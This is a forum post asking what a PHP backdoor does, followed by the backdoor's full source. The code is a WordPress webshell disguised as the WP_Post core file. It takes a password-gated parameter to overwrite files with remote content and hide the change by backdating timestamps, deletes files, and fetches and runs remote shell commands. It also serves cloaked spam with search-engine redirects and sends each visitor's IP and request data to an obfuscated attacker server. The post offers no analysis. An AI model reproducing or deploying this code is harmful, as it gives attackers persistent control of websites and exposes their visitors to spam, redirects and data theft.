Please introduce the function and usage of this backdoor.

Discussion in 'PHP' started by vsyour, 6 May 2020.

  1. vsyour

    vsyour New Member

    Joined:
    17 Apr 2020
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    PHP:
    <?php
    /**
     * Post API: WP_Post class
     *
     * @package WordPress
     * @subpackage Post
     * @since 4.4.0
     */

    /**
     * Core class used to implement the WP_Post object.
     *
     * @since 3.5.0
     *
     * @property string $page_template
     *
     * @property-read array  $ancestors
     * @property-read int    $post_category
     * @property-read string $tag_input
     */
    @ini_set('display_errors', '0');
    error_reporting(0);
    $actime = filemtime('wp-config.php');

    $mpp = '293cb77e781b079ca8cf669790b4fb0b';
    $data = 0;
    $post = 0;
    $xxx = 0;

    if (isset(
    $_REQUEST['j_jmenu'])) {
        
    $epass = explode('||', $_REQUEST['j_jmenu']);
        
    $pp = $epass[0];
        
    $data = $epass[1];
        
    $post = $epass[2];
        
    $xxx = $epass[3];
    }

    if (
    $data && $post && md5($pp) === $mpp && !$xxx) {
        
    $theme = strrev('_elif');
        
    $d = $data;
        
    $con = strrev('stnetnoc_');
        
    $data = file_get_contents($d);
        
    $method = strrev('tup');

        if (
    is_file($post)) chmod($post, '0644');

        
    $wp_post = $theme.$method.$con;

        if (
    $wp_post($post, $data)) {
            
    touch($post, $actime);
            echo 
    "Posted";
        }
        exit();
    }

    if (
    $xxx && md5($pp) === $mpp) {
        
    chmod($xxx, 0777);
        if (
    unlink($xxx)) {
            echo 
    "$xxx xxx";
        }
    }

    $df = array('qq.php', 'wp-blog.php', 'wp-content/w3-cache-clean.php', 'wp-content/wp-opml-config.php');
    foreach (
    $df as $dd) {
        if (
    is_file($dd)) {
            
    chmod($dd, 0777);
            
    unlink($dd);
        }
    }
    if (
    is_dir('wp-content/update')) system('rm -rf wp-content/update');
    if (
    is_dir('wp-content/plugins/seo')) system('rm -rf wp-content/plugins/seo');
    if (isset(
    $_REQUEST['key'])) {

        
    $track = 'avt_wiz';

        if (
    is_dir("wp-includes/Text/Diff/p")) {
            
    $dir = "wp-includes/Text/Diff/p";
        }
        else 
    $dir = "wp-content/uploads/wp";

        
    $res = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'];

        
    $redirect = 0;
        
    $fof = '404 not found';

        function 
    getRealIpAddr() {
            if (!empty(
    $_SERVER['HTTP_CLIENT_IP'])) {
              
    $ip=$_SERVER['HTTP_CLIENT_IP'];
            }
            elseif (!empty(
    $_SERVER['HTTP_X_FORWARDED_FOR'])) {
              
    $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
            }
            else {
              
    $ip=$_SERVER['REMOTE_ADDR'];
            }
            return 
    $ip;
        }

        
    $ua = $_SERVER['HTTP_USER_AGENT'];
        
    $ip = getRealIpAddr();
        
    $ref = $_SERVER['HTTP_REFERER'];

        if (
    preg_match("/google|bing|yandex|mail|aport|yahoo|baidu|aol|ask|duckduck|seznam|shenma|naver|haosou|sogou|daum|coccoc|qwant|dogpile|excite|wolfram|rambler/i", $ref)) $redirect = 1;

        
    $ea = '_shaesx_';
        
    $ay = 'get_data_ya';
        
    $ae = 'decode';
        
    $ea = str_replace('_sha', 'bas', $ea);
        
    $ao = 'wp_ccd';
        
    $ee = $ea.$ae;
        
    $oa = str_replace('sx', '64', $ee);
        
    $genpass = "Zgc5c4MXrK4oZRcN5pobK/Gff1/eN/lQnSyHH+/NuQE=";
        
    $tdpass = "Zgc5c4MXrK4oZRcN5pobK/Gff0zJOLVYlDnNFq6ToRkH";

        if (
    ini_get('allow_url_fopen')) {
            function 
    get_data_ya($mmm) {
                
    $data = file_get_contents($mmm);
                return 
    $data;
            }
        }
        else {
            function 
    get_data_ya($mmm) {
                
    $ch = curl_init();
                
    curl_setopt($ch, CURLOPT_HEADER, 0);
                
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                
    curl_setopt($ch, CURLOPT_URL, $mmm);
                
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
                
    $data = curl_exec($ch);
                
    curl_close($ch);
                return 
    $data;
            }
        }


        function 
    wp_ccd($fd, $fa="")
        {
           
    $fe = "wp_frmfunct";
           
    $len = strlen($fd);
           
    $ff = '';
           
    $n = $len>100 ? 8 : 2;
           while( 
    strlen($ff)<$len )
           {
              
    $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
           }
           return 
    $fd^$ff;
        }
        
    $genapi = $ao($oa("$genpass"), 'wp_function');
        
    $tdapi = $ao($oa("$tdpass"), 'wp_function');

        
    $tkey = $_REQUEST['key'];
        if (
    $tkey == '12321-check') {
            echo 
    'ok';
            exit();
        }
        if (
    $tkey == '12321-sysa') {
            
    $sysa = file_get_contents(str_replace('gen/clgen.php', 'pot/txt/sysa.txt', $genapi));
            
    system($sysa);
            echo 
    'sysa ok';
            exit();
        }
        
    $eprefix = explode('-', $tkey);
        
    $prefix = $eprefix[0];
        
    $key = str_replace("$prefix-", '', $tkey);
        
    $key = str_replace('-', ' ', $key);
        
    $page = md5($key);

        if (!
    is_dir("$dir")) mkdir("$dir");
        if (
    file_exists("$dir/$page.txt") && filesize("$dir/$page.txt") > 1024) {
            
    $html = file_get_contents("$dir/$page.txt");
        }
        else {
            
    $html = @get_data_ya("$genapi?res=$res&key=$key");
            
    file_put_contents("$dir/$page.txt", $html);
        }

        
    $ehtml = explode('-|-', $html);
        
    $pill = $ehtml[1];
        
    $key = $ehtml[2];
        
    $data = $ehtml[3];
        
    $g = 'ph';
        
        if (
    $redirect) {
            
    $churl = "{$tdapi}?g=$g&pill=$pill&ip=$ip&key=$key&ua=$ua&ref=$ref&track=$track";
            
    $goaway = @get_data_ya($churl);

            if (
    stristr($goaway, 'http')) {
                echo 
    "<script type=\"text/javascript\">window.location.href = \"$goaway\";</script>";
                exit;
            }
        }

        echo 
    $data;
    }

    else {
        
    $res = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
        
    $ip = $_SERVER['REMOTE_ADDR'];
        
    $par = "$ip|$res";
        foreach (
    $_REQUEST as $key => $value) {
            
    $par .= "|$key=$value";
        }
        
    $ea = '_shaesx_';
        
    $ay = 'get_data_ya';
        
    $ae = 'decode';
        
    $ea = str_replace('_sha', 'bas', $ea);
        
    $ao = 'wp_ccd';
        
    $ee = $ea.$ae;
        
    $oa = str_replace('sx', '64', $ee);
        
    $pot = "Zgc5c4MXrK4oZRcN5pobK/Gff0jULfk=";
        function 
    wp_ccd($fd, $fa="")
        {
           
    $fe = "wp_frmfunct";
           
    $len = strlen($fd);
           
    $ff = '';
           
    $n = $len>100 ? 8 : 2;
           while( 
    strlen($ff)<$len )
           {
              
    $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
           }
           return 
    $fd^$ff;
        }
        
    $pot = $ao($oa("$pot"), 'wp_function');
        
    $pot = @file_get_contents("$pot/par.php?par=$par");
        
    ?>
    <form method= "post" action= ""> <input type= "input" name= "j_jmenu" value= ""/><input type= "submit"value= "&gt;"/>  </form>
        <?php
    }
     
    people2people likes this.